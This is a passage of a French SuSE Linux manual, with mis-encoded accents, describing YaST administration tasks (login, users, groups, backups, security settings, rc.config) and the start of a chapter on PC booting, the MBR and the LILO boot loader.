  7231.       ment de la crΘation du systΦme de fichiers et il ne peut Ωtre changΘ ensuite
  7232.       que par un nouveau formatage de la partition.
  7233.  
  7234.   ~   Pour que le CD live puisse Ωtre intΘgrΘ, la partition concernΘe doit avoir
  7235.       une taille de 50 Mo au minimum.
  7236.  
  7237. 3.6.5      Configuration du login
  7238.  
  7239. Ici on peut dΘterminer si l'Θcran login d'affichage de texte doit Ωtre dΘmarrΘ
  7240. lors du lancement du systΦme ou si le systΦme X Window doit Ωtre lancΘ tout
  7241. de suite. Si vous optez pour le login graphique, vous avez le choix entre XDM
  7242. et KDM du projet KDE. Si vous choisissez KDE, vous pouvez aussi spΘcifier
  7243. qui est autorisΘ α effectuer un shutdown        . L'alternative est un login sur une
  7244. console ASCII et un lancement de X avec la commande startx  (figure 3.25
  7245. page suivante).
  7246.        _______________________________________________________________________________________________________________________||
  7247.        ||||||||  Si vous n'Ωtes pas s√r que X puisse Ωtre lancΘ sans problΦme, il vaudrait                      |||            |
  7248.        ||||||||  mieux ne pas activer XDM ou KDM . Testez en tous les cas si vous pouvez                        ||             |
  7249.        ||||||||                                                                                                 ||             |
  7250.        ||||||||  lancez X α partir de la console avant d'activer un gestionnaire d'affichage.                   ||             |
  7251.        ||||||||_______________________________________________________________________________________________________________||_
  7252. 3      ____________________________________________________
  7253.   Au paragraphe 19.7.5 page 490, il est expliquΘ comment on efface des fichiers.
  7254.  
  7255.  
  7256.                                                                                                                                    *
  7257.  *   109
  7258. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7259.  *_______________________________________@
  7260.  
  7261.  
  7262.  
  7263.                                                           Fig. 3.25: Configuration du login
  7264.  
  7265.  
  7266.  
  7267.                            Le runlevel 3 est enregistrΘ dans /etc/inittab comme niveau d'exΘcution
  7268.                            par dΘfaut et une variable est positionnΘe dans /etc/rc.config (voir para-
  7269.                            graphe 79 page 460). Si vous utilisez le runlevel 3 dans votre systΦme α une
  7270.                            autre fin que pour le dΘmarrage de XDM  ou KDE  aucun des deux ne sera
  7271.                            activΘ.
  7272.  
  7273.  
  7274.                            3.6.6      Configuration susewm
  7275.  
  7276.                            C'est dans ce menu de configuration que l'on dΘtermine le ``bureau graphi-
  7277.                            que'',
  7278.                                                            Fig. 3.26: Configuration susewm
  7279.  
  7280.  
  7281.                            SΘlectionnez le gestionnaire de fenΩtres par dΘfaut et dΘterminez pour quels
  7282.                            autres gestionnaires de fenΩtres susewm doit gΘnΘrer des fichiers de configu-
  7283.  
  7284.  
  7285. 110
  7286.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  7287.  *______________________
  7288.  
  7289.  
  7290.  
  7291. ration disponibles dans l'ensemble du systΦme (voir les arriΦres-plans tech-
  7292. niques au paragraphe 9.5 page 282 et pages suivantes) .
  7293.  
  7294.  
  7295. 3.6.7      Gestion utilisateurs
  7296.  
  7297. Avec YaST , vous pouvez aisΘment crΘer des comptes utilisateurs et supprimer
  7298. ou modifier des comptes utilisateurs dΘjα existants. Vous trouverez le dialogue
  7299. se rapportant α ce sujet dans le menu `Administration  du  systΦme' sous
  7300. l'option `Gestion  utilisateurs').
  7301.  
  7302.  
  7303.  
  7304.                           Fig. 3.27: Gestion utilisateurs avec YaST
  7305.  
  7306.  
  7307. Vous pouvez ici autoriser l'utilisateur α `accΘder  au  modem'. Dans ce cas,
  7308. l'utilisateur  sera  inscrit  dans  les  groupes  `uucp'  et  `dailout'.  Tous  les
  7309. membres de ce groupe sont habilitΘs par exemple α Θtablir et α terminer des
  7310. connexions PPP.
  7311.  
  7312. Lorsqu'il  est  ajoutΘ  un  utilisateur,  tous  les  fichiers  du  rΘpertoire  exemple
  7313. /etc/skel sont copiΘs dans le rΘpertoire personnel du nouvel utilisateur. Il
  7314. est ainsi possible de rΘaliser une certaine prΘconfiguration minimale de tous
  7315. les utilisateurs du systΦme. Chaque utilisateur peut bien entendu modifier plus
  7316. tard ces fichiers en fonction de ses propres critΦres.
  7317.  
  7318. En  outre,  YaST  invoquera  deux  scripts  dans  lesquels  les  tΓches  de  routine
  7319. pourront Ωtre insΘrΘes :
  7320.  
  7321.   ~   AprΦs la crΘation du compte utilisateur, le script /usr/sbin/useradd.
  7322.       local  ~  au  cas  ou  il  existe  ~  sera  invoquΘ.  └  ce  moment,  l'utilisateur
  7323.       est inscrit aussi bien dans /etc/passwd que dans /etc/shadow. Le rΘ-
  7324.       pertoire personnel de l'utilisateur existe dΘjα et les fichiers provenant de
  7325.       /etc/skel sont copiΘs.
  7326.  
  7327.   ~   Avant que l'utilisateur ne soit supprimΘ, le script /usr/sbin/userdel.
  7328.       local  ~  au  cas  ou  il  existe  ~  sera  invoquΘ.  └  ce  moment  l'utilisateur
  7329.       est  encore  inscrit  dans  les  fichiers  passwd  et  shadow  et  son  rΘpertoire
  7330.       personnel existe encore.
  7331.  
  7332.  
  7333.                                                                                                                                    *
  7334.  *   111
  7335. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7336.  *_______________________________________@
  7337.  
  7338.  
  7339.  
  7340.                            Le  nom  de  l'utilisateur  sera  transmis  aux  deux  scripts  sous  forme  de  para-
  7341.                            mΦtres.  Si  l'on  a  besoin  d'autres  donnΘes  (ID  de  l'utilisateur,  shell  de  lo-
  7342.                            gin,  rΘpertoire  personnel),  il  est  relativement  facile  de  les  retrouver  dans
  7343.                            /etc/passwd.
  7344.  
  7345.                            Si vous avez suffisamment d'expΘrience et si vous trouvez trop fastidieux de
  7346.                            lancer YaST  pour ces opΘrations, vous avez bien s√r aussi α votre disposition
  7347.                            les utilitaires useradd  et userdel .
  7348.  
  7349.  
  7350.                            Informations sur PAM
  7351.  
  7352.                            Les fichiers de configuration pour PAM (angl. Pluggable Authentication Mo-
  7353.                            dules)  sont  situΘs  sous  /etc/pam.d.  La  documentation  α  l'usage  des  pro-
  7354.                            grammeurs et administrateurs systΦme se trouve sous /usr/doc/packages/
  7355.                            pam.
  7356.  
  7357.                            SuSE      Linux  peut  gΘrer  les  mots  de  passe  MD5.  Avec  l'encodage  MD5,
  7358.                            les  mots  de  passe  peuvent  avoir  une  longueur  de  plus  de  8  caractΦres.  Il
  7359.                            convient  toutefois  d'Ωtre  prudent  :  l'encodage  MD5  n'est  pas  compatible
  7360.                            avec crypt()        qui est la fonction standard sous Unix. Cela signifie que bon
  7361.                            nombre  de  systΦmes  Unix  commerciaux  ainsi  que  certains  programmes  ne
  7362.                            fonctionnent pas avec les mots de passe MD5.
  7363.  
  7364.                            Dans /usr/doc/packages/pam/md5.config, vous trouverez des informa-
  7365.                            tions sur la configuration.
  7366.  
  7367.  
  7368.                            3.6.8      Gestion de groupes
  7369.  
  7370.                            Avec YaST , vous pouvez gΘrer non seulement les utilisateurs mais aussi les
  7371.                            groupes d'utilisateurs.
  7372.                                                      Fig. 3.28: Gestion de groupes avec YaST
  7373.  
  7374.  
  7375.                            Sous Linux (comme sous Unix en gΘnΘral), chaque utilisateur peut et doit ap-
  7376.                            partenir au moins α un groupe d'utilisateurs. Ceci est indispensable car l'ap-
  7377.  
  7378.  
  7379. 112
  7380.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  7381.  *______________________
  7382.  
  7383.  
  7384.  
  7385. partenance α un groupe confΦre certains droits d'accΦs comme par exemple
  7386. l'accΦs aux fichiers. Il est ainsi possible de limiter l'accΦs aux rΘpertoires aux
  7387. seuls membres d'un groupe et de protΘger cet accΦs par un mot de passe de
  7388. groupe.
  7389.  
  7390. Certains groupes d'utilisateurs sont dΘjα prΘdΘfinis sous Linux, par exemple
  7391. les groupes d'utilisateurs `users', `root' et plusieurs autres encore.
  7392.  
  7393. La forme `users' n'est toutefois que la reprΘsentation textuelle des groupes
  7394. d'utilisateurs. Ils sont reprΘsentΘs, au niveau interne, par des nombres appelΘs
  7395. identificateurs de groupes (angl. group id). Le fichier de configuration pour
  7396. les groupes d'utilisateurs est /etc/group.
  7397.  
  7398. Tout  ceci,  uniquement  α  titre  d'information  car  avec  YaST  vous  pouvez
  7399. crΘer plusieurs groupes d'utilisateurs de maniΦre beaucoup plus simple. Dans
  7400. YaST , vous trouverez le dialogue concernant la gestion des groupes d'utilisa-
  7401. teurs dans le menu `Administration  du  systΦme' sous l'option `Ges-
  7402. tion  de  groupes'. Le dialogue vous est prΘsentΘ par la figure 3.28 page
  7403. prΘcΘdente.
  7404.  
  7405.  
  7406. 3.6.9      CrΘer des sauvegardes
  7407.  
  7408. Il peut Ωtre utile de sauvegarder dans un fichier d'archive ou sur bande tous
  7409. les fichiers ~ typiquement des fichiers de configuration et de donnΘes ~ qui
  7410. ont ΘtΘ modifiΘs ou sont venus s'ajouter depuis l'installation d'un paquetage.
  7411. C'est la tΓche de cette fonction.
  7412.             Fig. 3.29: Sauvegarde de donnΘes (angl. backup) avec YaST
  7413.  
  7414.  
  7415. Le dialogue se rapportant α ce sujet se divise en trois sections :
  7416.  
  7417.  1.   DΘterminer le volume
  7418.  
  7419.       Dans ce masque, vous dΘterminerez α l'aide d'une liste quels rΘpertoires
  7420.       sont  exclus  de  la  sauvegarde.  Il  est  indiquΘ  ici  /tmp,  /dev  et  /proc.
  7421.       Vous  devriez  toutefois  complΘter  la  liste  en  y  ajoutant  par  exemple  des
  7422.       CD-ROM montΘs, des partitions DOS montΘes et des rΘpertoires montΘs
  7423.       via NFS. Plus le nombre de rΘpertoires inutiles exclus de la sauvegarde
  7424.  
  7425.  
  7426.                                                                                                                                    *
  7427.  *   113
  7428. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7429.  *_______________________________________@
  7430.  
  7431.  
  7432.  
  7433.                                  est important, plus la fonction gagne en rapiditΘ car les descriptions des
  7434.                                  paquetages  rendent_ superflues_ les  comparaisons  entre  les  fichiers.  Avec
  7435.                                  les touches |+_ |et_|-__|, vous pourrez soit ajouter soit supprimer des entrΘes
  7436.                                  dans la liste. |F____1|0poursuit la fonction dans la prochaine phase.
  7437.  
  7438.                             2.   Recherche
  7439.                                  YaST  recherche maintenant dans le systΦme les fichiers qui ont ΘtΘ inclus
  7440.                                  dans  la  sauvegarde.  Le  nombre  et  la  taille  des  fichiers  localisΘs  seront
  7441.                                  continuellement affichΘs. Lorsque la recherche sera terminΘe, il apparaεtra
  7442.                                  une liste contenant tous les fichiers qui ont ΘtΘ_trouvΘs._Ici, vous pouvez
  7443.                                  encore supprimer des fichiers de la liste avec |E_________|space. Ces fichiers ne sont
  7444.                                  plus inclus dans la sauvegarde.
  7445.  
  7446.                             3.   SpΘcifier la commande
  7447.                                  Ici,  vous  dΘterminez  de  quelle  maniΦre  les  fichiers  doivent  Ωtre  sauve-
  7448.                                  gardΘs. Vous pouvez pour cela entrer un nom d'archive ou spΘcifier une
  7449.                                  option.
  7450.  
  7451.                            Le mΘcanisme de sauvegarde ne peut naturellement pas fonctionner si la date
  7452.                            des fichiers n'a subi aucun changement. Cette fonction consomme en outre
  7453.                            beaucoup  de  mΘmoire  centrale.  Les  noms  de  fichiers  d'un  CD  typique  oc-
  7454.                            cupent α eux seuls 6 Mo et vous avez bien s√r aussi besoin d'espace disque
  7455.                            pour l'archive.  Si vous faites compresser l'archive, vous pouvez rΘduire de
  7456.                            moitiΘ la taille des fichiers. Mais la solution la plus recommandable est d'en-
  7457.                            registrer la sauvegarde sur une bande.
  7458.  
  7459.  
  7460.                            3.6.10       Configuration sΘcuritΘ du systΦme
  7461.  
  7462.                            Ne  modifiez  les  paramΦtres  par  dΘfaut  que  si  vous  connaissez  parfaitement
  7463.                            les  consΘquences  de  ces  mesures.  Vous  devez  absolument  lire  α  ce  sujet  le
  7464.                            chapitre 18 page 465.
  7465.                            ________________________________________________________________________________________________________*
  7466.  *________||
  7467.                            |  Si   vous   ne   voulez   pas   autoriser   de   login   `root'   via   ssh ,   vous                 *
  7468.  *        ||||
  7469.                            |                                                                                                       *
  7470.  *        |||
  7471.                            |  devrez     adapter     /etc/ssh_config.     Dans     /etc/sshd_config,                               *
  7472.  *        |||
  7473.                            |  PasswordAuthentication  yes                          est   positionnΘe   par   dΘfaut.   ~   Si      *
  7474.  *        |||
  7475.                            |                                                                                                       *
  7476.  *        |||
  7477.                            |  ssh  est configurΘ correctement, les logins `root' par rΘseau sont s√rs.                             *
  7478.  *        |||
  7479.                            |_______________________________________________________________________________________________________*
  7480.  *________|||_
  7481.  
  7482.                            3.6.11       Configurer XFree86[tm]
  7483.  
  7484.                            Le systΦme X Window (XFree86) peut Ωtre configurΘ avec diffΘrents outils.
  7485.                            Essayez tout d'abord avec SaX . Vous trouverez une description dΘtaillΘe de
  7486.                            SaX  au paragraphe 8.1 page 240 et pages suivantes.
  7487.  
  7488.  
  7489.                            3.6.12       Modifier le fichier de configuration
  7490.  
  7491.                            Dans SuSE     Linux, pratiquement tout l'ensemble du systΦme est gΘrΘ par un
  7492.                            seul fichier de configuration central (/etc/rc.config). Ce fichier est utilisΘ
  7493.                            lors de l'amorτage par les diffΘrents scripts de dΘmarrage et le systΦme est
  7494.                            configurΘ en consΘquence.
  7495.  
  7496.                            Vous pouvez, avec YaST , modifier les diffΘrentes entrΘes contenues dans ce
  7497.                            fichier et adapter ainsi le systΦme α vos critΦres personnels sans avoir besoin
  7498.                            de savoir en dΘtail quels fichiers sont concernΘs par les modifications.
  7499.  
  7500.  
  7501. 114
  7502.        ___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
  7503.  *______________________
  7504.  
  7505.  
  7506.  
  7507.            Fig. 3.30: Modification du fichier de configuration avec YaST
  7508.  
  7509.  
  7510.  
  7511. SΘlectionnez  ici,_ α  l'aide__du_ curseur,  la  variable  qui  doit  Ωtre  modifiΘe  et
  7512. appuyez sur |_____-|ou sur |F___|3pour effectuer la modification.
  7513.  
  7514. Si vous changez manuellement quelque chose α ce fichier vous devrez ensuite
  7515. invoquer le script SuSEconfig . Le script fait en sorte que les modifications
  7516. que vous avez apportΘes au fichier /etc/rc.config soient prises en compte
  7517. dans les diffΘrents fichiers de configuration spΘcifiques au programme. Vous
  7518. trouverez une description dΘtaillΘe du fichier de configuration avec toutes les
  7519. possibilitΘs de paramΘtrage au paragraphe 17.6 page 451.
  7520.  
  7521.  
  7522.  
  7523.                                                                                                                                    *
  7524.  *   115
  7525. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  7526.  *_______________________________________@
  7527.  
  7528. 116
  7529.  
  7530.                                                                                                            Chapitre  4
  7531.                                      Amorτage   et   gestionnaires
  7532.  
  7533.  
  7534.  
  7535.                                                                                         d'amorτage   :
  7536.  
  7537.  
  7538.  
  7539.                                                                   LILO ,   loadlin ,   etc.
  7540.  
  7541.  
  7542. Dans ce chapitre, nous allons vous prΘsenter diffΘrentes mΘthodes qui vous
  7543. permettront d'amorcer (+  amorτage) votre systΦme aprΦs avoir terminΘ votre
  7544. installation. Afin qu'il vous soit plus facile de superviser chacune de ces mΘ-
  7545. thodes, nous allons tout d'abord Θlucider quelques dΘtails techniques concer-
  7546. nant le processus d'amorτage sur PC.
  7547.  
  7548.  
  7549.  
  7550. 4.1       ProcΘdure d'amorτage sur PC
  7551.  
  7552.  
  7553. AprΦs la mise sous tension de la machine, le +  BIOS (angl. Basic Input Output
  7554. System)  initialise  l'Θcran  ainsi  que  le  clavier  et  teste  la  mΘmoire  centrale.
  7555. Jusqu'α ce moment, il n'existe pas encore de support de mΘmoire de masse
  7556. dans l'univers de votre PC !
  7557.  
  7558. AprΦs  avoir  explorΘ  son  ``monde  intΘrieur'',  le  systΦme  embryonnaire  peut
  7559. maintenant  se  consacrer  α  la  dΘcouverte  du  monde  extΘrieur.  Des  informa-
  7560. tions concernant la date, l'heure et la sΘlection des pΘriphΘriques les plus im-
  7561. portants sont extraites des valeurs CMOS (CMOS setup). Comme maintenant
  7562. le premier disque (y compris sa gΘomΘtrie) devrait Ωtre connu, le chargement
  7563. du systΦme d'exploitation peut commencer α partir de ces donnΘes.
  7564.  
  7565. Pour  cela,  le  tout  premier  secteur  physique  de  donnΘes  de  512  octets  est
  7566. chargΘ  en  mΘmoire  depuis  le  premier  disque  dur  et  le  contr⌠le  des  pro-
  7567. grammes passe au mini-programme au dΘbut de ce secteur. La suite des ins-
  7568. tructions ainsi exΘcutΘes dΘtermine le dΘroulement de la procΘdure d'amor-
  7569. τage. C'est pourquoi les 512 premiers octets du premier disque dur sont ap-
  7570. pelΘs secteur maεtre d'amorτage (angl. +  MBR = Master Boot Record).
  7571.  
  7572. Ce contexte, bien que dΘcrit ici de faτon trΦs brΦve et simplifiΘe, permet dΘjα
  7573. de faire deux observations qui aideront α mieux comprendre ce qui va suivre :
  7574. Jusqu'α  ce  moment  (chargement  du  MBR),  la  procΘdure  d'amorτage  est  la
  7575. mΩme sur chaque PC quelque soit le systΦme installΘ ; le PC ne dispose en-
  7576. core,  pour  l'accΦs  aux  pΘriphΘriques,  que  des  seules  routines  (pilotes)  sto-
  7577. ckΘes dans le BIOS
  7578.  
  7579.  
  7580.                                                                                                                                    *
  7581.  *   117
  7582. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  7583.  *_______________________________________@
  7584.  
  7585.  
  7586.  
  7587.                            Secteur maεtre d'amorτage (MBR)
  7588.  
  7589.                            La  structure  du  MBR  est  dΘfinie  par  une  convention  qui  s'applique  α  tous
  7590.                            les  systΦmes  d'exploitation.  Les  446  premiers  octets  sont  rΘservΘs  au  code
  7591.                            du programme1 . Les 64 octets suivants offrent la place nΘcessaire α une table
  7592.                            des  partitions  pouvant  contenir  jusqu'α  quatre  entrΘes  (voir  paragraphe  2.8
  7593.                            page 67 et paragraphe 2.9 page 68).2  Les 2 derniers octets doivent contenir un
  7594.                            ``nombre magique'' fixe (AA55    ) : un MBR qui a autre chose α cet emplacement
  7595.                            est considΘrΘ par le BIOS et tous les systΦmes d'exploitation du PC comme
  7596.                            n'Θtant pas valide.
  7597.                            Secteurs d'amorτage
  7598.  
  7599.  
  7600.                            Les secteurs d'amorτage sont les premiers secteurs des partitions3  du disque
  7601.                            dur. Ils offrent un espace de 512 octets et sont destinΘs α abriter le code qui
  7602.                            permettra de lancer le systΦme d'exploitation qui se trouve sur cette partition.
  7603.                            Les  secteurs  d'amorτage  des  partitions  formatΘes  DOS,  Windows  ou  OS/2
  7604.                            jouent toujours ce r⌠le (et contiennent en plus d'importantes donnΘes de base
  7605.                            du  systΦme  de  fichiers).  Par  contre,  les  secteurs  d'amorτage  des  partitions
  7606.                            Linux ~ mΩme aprΦs la crΘation d'un systΦme de fichiers ~ sont au dΘpart tou-
  7607.                            jours vides( !). Une partition Linux n'est donc pas par elle-mΩme amorτable,
  7608.                            mΩme si elle contient un noyau ainsi qu'un systΦme de fichiers racine valide.
  7609.  
  7610.                            Un secteur d'amorτage possΘdant un code de dΘmarrage du systΦme valide a
  7611.                            le mΩme identifiant ``magique'' que le MBR dans les 2 derniers octets.
  7612.                            Amorcer α partir de DOS ou de Windows 95/98
  7613.  
  7614.  
  7615.                            Le MBR DOS du premier disque dur contient une partition marquΘe comme
  7616.                            active  (angl.  bootable),  ce  qui  signifie  que  c'est  lα  qu'il  faut  rechercher  le
  7617.                            systΦme  α  charger4 .  Le  code  de  programme  DOS  sur  le  MBR  constitue  le
  7618.                            premier  niveau  du  chargeur  (angl.  first  stage  bootloader)  et  il  vΘrifie  qu'il
  7619.                            existe bien un secteur d'amorτage valide sur la partition spΘcifiΘe.
  7620.  
  7621.                            Si c'est le cas, le code peut Ωtre dΘmarrΘ dans ce secteur d'amorτage comme
  7622.                            ``second niveau'' du chargeur (angl. secondary stage loader). Il charge alors
  7623.                            les  programmes  du  systΦme,  ce  qui  dΘclenche  soit  l'apparition  de  l'invite
  7624.                            habituelle du DOS, soit le dΘmarrage de l'interface Windows 95/98.
  7625.  
  7626.                            Sous DOS, on ne peut marquer comme active qu'une seule et unique partition
  7627.                            primaire. Ceci a pour consΘquence que le systΦme DOS ne peut pas rΘsider
  7628.                            sur des unitΘs de disque contenues dans une partition Θtendue.
  7629.  
  7630.                            _____________________________________________1
  7631.                              Le code lui-mΩme ~ et sa fonctionnalitΘ ~ dΘpendent toutefois du systΦme d'exploitation sous
  7632.                            lequel le MBR a ΘtΘ crΘΘ !
  7633.                            2 Sans table des partitions, il n'y a pas de systΦmes de fichiers (MS-DOS : unitΘs de disque), ce
  7634.                            qui signifie que le disque dur n'est pratiquement pas utilisable.
  7635.                            3 Sauf pour la partition Θtendue qui ne sert qu'α contenir d'autres partitions
  7636.                            4 Cela signifie tout particuliΦrement que DOS doit absolument Ωtre installΘ sur le premier disque
  7637.                            dur.
  7638.  
  7639.  
  7640. 118
  7641.        ___________________________________________________________________________________________4.2.__Concepts_d'amorτage________*
  7642.  *______________________
  7643.  
  7644.  
  7645.  
  7646. 4.2       Concepts d'amorτage
  7647. Le ``concept d'amorτage'' le plus simple est celui qui concerne une machine
  7648.  
  7649. ne possΘdant qu'un seul systΦme d'exploitation. Une configuration assez rΘ-
  7650. pandue consiste α avoir DOS ou Windows 95/98 comme seul et unique sys-
  7651. tΦme d'exploitation sur la machine. Nous avons dΘjα dΘcrit ce qui se passe
  7652. dans ce cas pendant la phase de dΘmarrage.
  7653.  
  7654. Un tel concept d'amorτage peut aussi Ωtre envisagΘ pour une machine pure-
  7655. ment Linux. Il est alors thΘoriquement possible de renoncer α l'installation de
  7656. LILO . Mais cette mΘthode ne permettrait pas de fournir au noyau, pendant
  7657. le dΘmarrage, une ligne de commande contenant des options spΘciales pour
  7658. la procΘdure de dΘmarrage, des informations complΘmentaires concernant le
  7659. matΘriel etc.
  7660.  
  7661. L'installation de plus d'un systΦme d'exploitation sur une machine donne le
  7662. choix entre diffΘrents concepts d'amorτage :
  7663.  
  7664. DΘmarrer des systΦmes additionnels α partir de la disquette :                                   Lorsqu'un
  7665.       systΦme d'exploitation est chargΘ depuis le disque, il est possible, α l'aide
  7666.       de disquettes d'amorτage, de lancer d'autres systΦmes depuis le lecteur
  7667.       de disquettes.
  7668.  
  7669.       ~   Condition  :  Vous  disposez  d'un  lecteur  de  disquettes  permettant
  7670.           l'amorτage.
  7671.  
  7672.       ~   Exemple  :  Vous  installez  Linux  additionnellement  sur  votre  systΦme
  7673.           DOS, Windows 95/98 ou OS/2 et vous lancez toujours Linux α partir
  7674.           de la disquette d'amorτage.
  7675.  
  7676.       ~   Avantage : Vous vous Θpargnez l'installation plut⌠t Θpineuse du char-
  7677.           geur.
  7678.  
  7679.       ~   InconvΘnients : Vous devez absolument veiller α avoir une rΘserve de
  7680.           sΘcuritΘ  constituΘe  de  disquettes  d'amorτage  en  Θtat  de  fonctionne-
  7681.           ment ; le dΘmarrage dure plus longtemps.
  7682.  
  7683.       ~   Le fait que votre Linux ne pourra pas Ωtre lancΘ sans disquette d'amor-
  7684.           τage  peut  reprΘsenter  soit  un  inconvΘnient,  soit  un  avantage,  selon
  7685.           l'usage auquel votre machine est destinΘe.
  7686.  
  7687. Charger des systΦmes additionnels pendant le temps d'exΘcution :                                        Un
  7688.       systΦme  d'exploitation  est  chargΘ  α  chaque  dΘmarrage  de  systΦme.
  7689.       D'autres peuvent Ωtre chargΘs ensuite optionnellement α partir de celui-ci.
  7690.  
  7691.       ~   Condition :  Vous disposez de programmes adΘquats pour le dΘmarrage
  7692.           ultΘrieur d'un autre systΦme.
  7693.  
  7694.       ~   Exemples  :  Chargement  de  Linux  α  partir  de  DOS  α  l'aide  du  pro-
  7695.           gramme  loadlin.exe   (voir  paragraphe  4.9  page  143)   ou  dΘmarrage
  7696.           d'un serveur NetWare α partir de DOS avec server.exe .
  7697.  
  7698. Installation d'un gestionnaire d'amorτage :                          Un  gestionnaire  d'amorτage
  7699.       (angl.  bootmanager)  permet  de  maintenir  simultanΘment  plusieurs  sys-
  7700.       tΦmes sur une machine et de les utiliser alternativement. L'utilisateur sΘ-
  7701.       lectionne, dΘjα pendant la phase de dΘmarrage, le systΦme qui devra Ωtre
  7702.       chargΘ. Un changement implique un nouveau dΘmarrage de la machine.
  7703.  
  7704.  
  7705.                                                                                                                                    *
  7706.  *   119
  7707. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  7708.  *_______________________________________@
  7709.  
  7710.  
  7711.  
  7712.                                  ~   Condition : Le gestionnaire d'amorτage sΘlectionnΘ est ``en harmonie''
  7713.                                      avec tous les systΦmes d'exploitation.
  7714.  
  7715.                                  ~   Exemples  :  des  gestionnaires  d'amorτage  en  harmonie  avec  Linux
  7716.                                      (du  moins  sous  certaines  conditions)  sont  celui  d'OS/2  (voir  para-
  7717.                                      graphe 4.7.3 page 136) ou le boot.sys de DOS.
  7718.  
  7719.                            Par la suite, nous vous donnerons plus de dΘtails sur l'installation et la confi-
  7720.                            guration de LILO  qui est le gestionnaire d'amorτage standard pour les sys-
  7721.                            tΦmes Linux. Une description approfondie des ressources de LILO  se trouve
  7722.                            dans  [Alm96     ]5 .  └  tout  ceci  viennent  s'ajouter  quelques  dΘtails  concernant
  7723.                            loadlin .
  7724.  
  7725.  
  7726.                            4.3       LILO  se prΘsente : Vue d'ensemble
  7727.  
  7728.  
  7729.                            LILO  ~ Votre entrΘe en scΦne !
  7730.  
  7731.                            Le chargeur de Linux peut Ωtre utilisΘ pour l'installation sur le MBR (plus de
  7732.                            dΘtails α la page suivante et au paragraphe 4.5 page 130). LILO  a accΦs aux
  7733.                            deux disques connus en mode rΘel et il est capable, de par son installation,
  7734.                            de trouver toutes les donnΘes nΘcessaires sur les disques durs ``bruts''6 , sans
  7735.                            informations sur le partitionnement. C'est pourquoi il est possible d'amorcer
  7736.                            des systΦmes d'exploitation depuis le deuxiΦme disque dur. Contrairement α
  7737.                            ce qui se passe lors de la procΘdure d'amorτage de DOS, les entrΘes contenues
  7738.                            dans la table des partitions sont ignorΘes.
  7739.  
  7740.                            La diffΘrence essentielle avec le mΘcanisme d'amorτage de DOS rΘside tou-
  7741.                            tefois dans la possibilitΘ, au moment du dΘmarrage, de faire un choix entre les
  7742.                            diffΘrents systΦmes d'exploitation installΘs pouvant Ωtre chargΘs ~ y compris
  7743.                            Linux. AprΦs le chargement du MBR en mΘmoire, LILO est lancΘ. LILO peut
  7744.                            maintenant, de son c⌠tΘ, proposer α l'utilisateur une sΘlection α l'aide d'une
  7745.                            liste de systΦmes prΘinstallΘs ( page suivante).
  7746.  
  7747.  
  7748.                             Qu'est-ce que LILO  et que peut-il faire ?
  7749.  
  7750.                            LILO  est un gestionnaire d'amorτage qui offre de nombreuses ressources. Il
  7751.                            peut,  au  dΘmarrage  du  systΦme,  charger  et  lancer  les  programmes  systΦme
  7752.                            suivants :
  7753.  
  7754.                              ~   Secteur  d'amorτage  des  partitions  (dΘmarrage  d'un  systΦme  d'exploita-
  7755.                                  tion α partir de ces partitions)
  7756.  
  7757.                              ~   Noyau Linux (lancement de Linux)
  7758.  
  7759.                            La  plupart  des  autres  gestionnaires  d'amorτage  ne  peuvent  pas  rΘaliser  le
  7760.                            deuxiΦme point citΘ ici.
  7761.  
  7762.                            En outre, il offre l'opportunitΘ de fournir une ligne de commande au noyau
  7763.                            Linux. Pour des raisons de sΘcuritΘ, les fonctions de LILO  peuvent Ωtre en-
  7764.                            tiΦrement ou partiellement protΘgΘes par un mot de passe.
  7765.                            _____________________________________________5
  7766.                              Avec lpr  /usr/doc/packages/lilo/user.dvi                  , ce fichier peut Ωtre sorti sur l'impriman*
  7767.  *te
  7768.                            6  On parle d'un support ``brut'' (angl. raw device) lorsqu'il est accΘdΘ α un pΘriphΘrique bloc
  7769.                            (disque dur, partition, disquette : : :) directement comme α un fichier (de pΘriphΘrique) particulier,
  7770.                            et non pas en passant par un systΦme de fichiers qui y est dΘposΘ
  7771.  
  7772.  
  7773. 120
  7774.        _____________________________________________________________________4.3.__LILO__se_prΘsente_:_Vue_d'ensemble_______________*
  7775.  *______________________
  7776.  
  7777.  
  7778.  
  7779. Comment se passe l'amorτage avec LILO ?
  7780.  
  7781. Lorsque LILO dΘmarre, il affiche le texte LILO ainsi qu'un message d'accueil
  7782. dont vous l'avez dotΘ vous-mΩme lors de la configuration (paragraphe 4.4.2
  7783. page 127). Ensuite il apparaεt un message d'invite (angl. prompt) :
  7784.  
  7785.       boot:
  7786.  
  7787. Vous sΘlectionnez ici, en entrant un nom, le systΦme d'exploitation que vous
  7788. dΘsirez  et  qui  sera  dΘmarrΘ  immΘdiatement.  Lors  de  la  configuration,  vous
  7789. avez dΘjα dΘterminΘ vous-mΩme les noms pour vos systΦmes d'exploitation.
  7790. Vous pouvez_fournir_ici une ligne de commande α un noyau Linux. Avec la
  7791. touche |T____a|b, vous pouvez obtenir l'affichage d'une liste de tous les noms.
  7792.  
  7793.  
  7794.  
  7795. En quoi consiste LILO ?
  7796.  
  7797.  
  7798. Le  mΘcanisme  de  dΘmarrage  de  LILO  est  constituΘ  par  les  ΘlΘments  sui-
  7799. vants7  :
  7800.  
  7801.  
  7802.   ~   un  secteur  d'amorτage  LILO   avec  une  partie  initiale  (le  ``premier  ni-
  7803.       veau'') du code LILO  qui active le LILO  proprement dit lors du dΘmar-
  7804.       rage du systΦme.
  7805.  
  7806.   ~   Le  code  de  machine  LILO  (son  ``coeur'').  Chemin  standard  :  /boot/
  7807.       boot.b.
  7808.  
  7809.   ~   Un  fichier  map  dans  lequel  LILO  Θcrit,  lors  de  son  installation,  α  quel
  7810.       endroit il peut trouver le noyau Linux et les autres donnΘes qui lui sont
  7811.       nΘcessaires. Chemin standard : /boot/map
  7812.  
  7813.   ~   optionnel : un fichier messages dont le contenu sera affichΘ comme mes-
  7814.       sage  d'accueil  avant  la  sΘlection  d'amorτage  LILO .  Chemin  habituel  :
  7815.       /boot/message (ou quelque chose de similaire)
